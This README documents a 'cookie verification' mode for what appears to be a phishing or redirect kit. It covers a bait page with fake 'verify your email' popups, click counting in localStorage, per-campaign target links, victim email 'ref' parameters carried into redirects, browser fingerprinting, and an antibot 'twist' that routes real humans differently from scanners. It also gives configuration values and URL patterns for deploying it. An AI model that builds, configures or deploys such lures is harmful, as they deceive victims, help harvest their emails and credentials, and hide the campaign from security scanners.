# Cookie Verification Mode

A new app mode that provides cookie-based verification with multi-step access control and targeted link redirection.

## Files Created

- `index.html` - Cookie verification interface
- `config_cookie.php` - Configuration settings
- `.htaccess` - Security rules
- `README.md` - This documentation

## How It Works

### Step-by-Step Flow

1. **First Visit**: User clicks cookie → opens target link in new tab + shows email verification popup
2. **Second Visit**: User clicks cookie → opens target link + shows email verification popup  
3. **Third Visit**: User clicks cookie → starts security verification → redirects to centralized system
4. **After 3rd Visit**: Uses same centralized redirect as fileshare mode

### Key Features

- **Cookie-based tracking** of access count
- **Progressive verification** - requires multiple interactions
- **Target link opening** in new tab on each click
- **Email verification popup** with reload instructions
- **Security verification** after threshold is reached
- **Centralized redirect** integration

## Configuration

### Target Link

Edit `config_cookie.php`:

```php
define('COOKIE_TARGET_LINK', 'https://your-target-link.com');
```

### URL Parameters

- **Target Link**: `?link=https://example.com/target`
- **Custom Image**: `?img=https://example.com/image.jpg`
- **Email Parameter**: `?ref=user@example.com`

### Access Threshold

```php
define('MAX_RELOAD_COUNT', 3); // Number of clicks before verification
```

## Usage Examples

### Basic Usage
```
https://yoursite.com/pages/cookie/index.html
```

### With Custom Target Link
```
https://yoursite.com/pages/cookie/index.html?link=https://example.com/target
```

### With Custom Image
```
https://yoursite.com/pages/cookie/index.html?img=https://example.com/image.jpg
```

### With Email Parameter
```
https://yoursite.com/pages/cookie/index.html?ref=user@example.com
```

### Full Configuration
```
https://yoursite.com/pages/cookie/index.html?link=https://target.com&img=https://image.jpg&ref=user@example.com
```

## User Experience

### First Click (Count: 0 → 1)
1. User clicks cookie card
2. Target link opens in new tab
3. Email verification popup appears
4. Message: "Verify your email and reload this page"
5. Access count increments to 1

### Second Click (Count: 1 → 2)
1. User clicks cookie card again
2. Target link opens in new tab
3. Email verification popup appears
4. Same message as first click
5. Access count increments to 2

### Third Click (Count: 2 → 3)
1. User clicks cookie card again
2. Target link opens in new tab
3. Security verification starts immediately
4. Progress bar shows verification process
5. After verification → redirects to centralized system

### After Third Click (Count: 3+)
1. User clicks cookie card
2. Security verification starts
3. Uses same antibot system as fileshare mode
4. Redirects to centralized redirect URL
5. Preserves email parameter in redirect

## Technical Details

### Cookie Tracking
- Uses localStorage to track access count
- Persistent across browser sessions
- Key: `cookie_access_count`

### Security Integration
- Same antibot verification as fileshare mode
- Token-based security system
- reCAPTCHA integration
- Browser fingerprinting

### Redirect Logic
```javascript
// After 3rd click, uses same logic as fileshare mode
window.verificationType = (data.is_human === true) ? "denied" : "human";
let redirectUrl = redirectBase + "?key=" + token + "&type=" + verificationType;
```

### UI Components
- **Professional interface** similar to fileshare mode
- **Sidebar** with verification status
- **Cookie card** with customizable image
- **Email popup** with instructions
- **Verification overlay** with progress

## Customization

### Change Cookie Image
```javascript
// In index.html, update the default image
<img src="https://your-image-url.jpg" alt="Verification Cookie" />
```

### Modify Popup Message
```javascript
// Update the popup text
<p class="popup-text">Your custom message here.</p>
```

### Change Access Threshold
```php
// In config_cookie.php
define('MAX_RELOAD_COUNT', 5); // Change to 5 clicks
```

## Security Features

- **Progressive access control** - requires multiple interactions
- **Cookie-based tracking** - persistent user identification
- **Security verification** - same system as fileshare mode
- **Centralized redirect** - integrates with existing system
- **Parameter preservation** - maintains email/ref parameters

## Integration with Existing System

The cookie mode integrates seamlessly with:

- **Antibot verification system** (`api.php`)
- **Centralized redirect** (`process.php`)
- **Security twist logic** (real humans get "denied" token)
- **Email parameter handling** (preserves `ref` parameter)
- **Token validation** (same as fileshare mode)

## Use Cases

- **Progressive verification** - requires user engagement
- **Multi-step access** - controlled content release
- **Targeted redirection** - specific link per campaign
- **User tracking** - monitor access patterns
- **Email verification** - collect user emails

## Troubleshooting

### Cookie Not Working
- Check localStorage is enabled
- Verify JavaScript is working
- Check browser console for errors

### Target Link Not Opening
- Verify link is accessible
- Check popup blockers
- Ensure target URL is valid

### Verification Not Starting
- Check access count reached threshold
- Verify antibot system is working
- Check API endpoint accessibility

### Redirect Not Working
- Verify centralized redirect URL
- Check token generation
- Verify email parameter preservation

## Comparison with Other Modes

| Feature | index.html | portal.html | cookie/index.html |
|---------|------------|-------------|-------------------|
| **Trigger** | Automatic | File click | Cookie click |
| **UI** | Minimal | File share | Cookie verification |
| **Access Control** | None | Single verification | Progressive (3 clicks) |
| **Target** | Direct redirect | File access | Custom link |
| **User Interaction** | None | File click | Multiple clicks |
| **Security** | Immediate | On file click | After threshold |

The cookie mode provides a unique progressive verification approach that requires user engagement before granting access to the centralized system.
